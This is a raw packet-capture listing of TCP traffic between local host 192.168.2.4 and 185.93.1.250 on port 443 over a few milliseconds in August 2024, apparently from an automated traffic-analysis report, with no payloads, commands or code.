Aug 10, 2024 19:10:09.727706909 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.727720976 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.727731943 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.727763891 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.727786064 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.728522062 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.728544950 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.728578091 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.728589058 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.728616953 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.728627920 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.728652000 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.728669882 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.728679895 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.728708982 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.728732109 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.729468107 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.729487896 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.729525089 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.729541063 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.729566097 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.729589939 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.731205940 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.731230974 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.731277943 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.731291056 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.731336117 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.731357098 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.731851101 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.731895924 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.731931925 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.731942892 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.731969118 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.732104063 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.732132912 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.732167959 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.732209921 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.732224941 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.732248068 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.732412100 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.732812881 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.732850075 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.732933044 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.732933044 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.732945919 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.733160973 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.733253002 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.733299971 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.733326912 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.733336926 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.733364105 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.733414888 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.733453989 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.733484030 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.733495951 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.733542919 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.733562946 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.734047890 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.734088898 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.734127045 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.734138012 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.734164000 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.734196901 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.734236002 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.734241009 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.734263897 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.734297991 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.734323978 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.734353065 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.734978914 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.735013008 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.735059023 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.735070944 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.735104084 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.735122919 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.735137939 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.735177040 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.735208988 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.735219002 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.735245943 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.735287905 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.736074924 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.736110926 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.736146927 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.736157894 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.736183882 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.736212969 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.736237049 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.736277103 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.736306906 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.736316919 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.736342907 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.736361980 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.736776114 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.736816883 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.736851931 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.736861944 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.736890078 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.736921072 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.736926079 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.736942053 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.736980915 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.736984015 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.736998081 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.737009048 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.737036943 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.737060070 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.737695932 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.737730026 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.737760067 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.737770081 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.737797022 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.737864017 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.737896919 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.737905979 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.737929106 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.737930059 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.737977028 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.738013029 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.738533020 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.738567114 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.738612890 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.738624096 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.738652945 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.738689899 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.738718987 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.738755941 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.738785028 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.738795042 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.738820076 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.738842964 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.739402056 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.739439964 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.739476919 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.739486933 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.739516973 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.739542007 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.739671946 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.739706993 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.739742041 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.739752054 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.739778042 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.739795923 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.740425110 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.740464926 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.740514040 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.740525961 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.740565062 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.740585089 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.740606070 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.740648985 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.740678072 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.740689039 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.740712881 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.740736008 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.741154909 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.741192102 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.741219997 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.741230965 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.741271973 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.741297960 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.741327047 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.741362095 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.741394997 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.741406918 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.741431952 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.741451025 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.742147923 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.742185116 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.742222071 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.742232084 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.742257118 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.742269993 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.742275000 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.742289066 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.742324114 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.742326021 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.742341042 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.742352009 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.742399931 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.742399931 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.742814064 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.742850065 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.742889881 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.742899895 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.742947102 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.742949009 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.742974997 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.742990017 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.743009090 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.743014097 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.743056059 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.743082047 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.743680954 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.743721008 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.743757010 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.743767977 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.743793964 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.743813992 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.744132996 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.744173050 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.744204044 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.744214058 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.744240999 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.744259119 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.744384050 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.744416952 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.744442940 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.744452953 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.744477034 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.744517088 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.744548082 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.744580984 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.744615078 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.744636059 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.744658947 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.745316029 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.745352983 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.745387077 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.745404959 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.745429039 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.745747089 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.745779037 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.745811939 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.745824099 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.745850086 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.746068954 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.746105909 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.746133089 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.746144056 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.746171951 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.746206045 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.746238947 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.746265888 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.746277094 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.746304035 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.746831894 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.746875048 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.746893883 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.746905088 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.746942997 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.746961117 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.747034073 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.747066021 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.747096062 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.747106075 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.747133970 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.747152090 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.747153044 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.747169971 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.747173071 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.747211933 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.747220039 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.747230053 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.747241020 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.747276068 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.747293949 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.747824907 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.747865915 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.747889996 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.747900963 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.747927904 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.747950077 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.748003960 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.748042107 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.748070955 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.748099089 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.748126984 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.748539925 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.748662949 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.748701096 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.748735905 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.748744965 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.748769045 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.748788118 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.748830080 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.748866081 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.748908997 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.748919010 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.748944044 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.749017000 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.749023914 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.749036074 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.749073029 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.749078035 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.749095917 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.749105930 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.749135971 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.749152899 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.749919891 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.749953985 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.750001907 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.750003099 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.750015020 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.750071049 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.750117064 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.750150919 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.750179052 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.750189066 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.750214100 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.750235081 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.750247955 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.750293016 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.750313997 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.750324011 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.750351906 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.750374079 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.750881910 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.750916004 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.750952005 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.750962019 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.750988007 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.751009941 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.751087904 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.751121998 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.751157045 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.751167059 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.751194000 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.751203060 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.751231909 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.751245975 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.751257896 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.751269102 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.751302958 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.751323938 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.751812935 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.751872063 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.751888037 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.751899004 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.751936913 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.751954079 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.752053976 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.752087116 CEST	443	49734	185.93.1.250	192.168.2.4
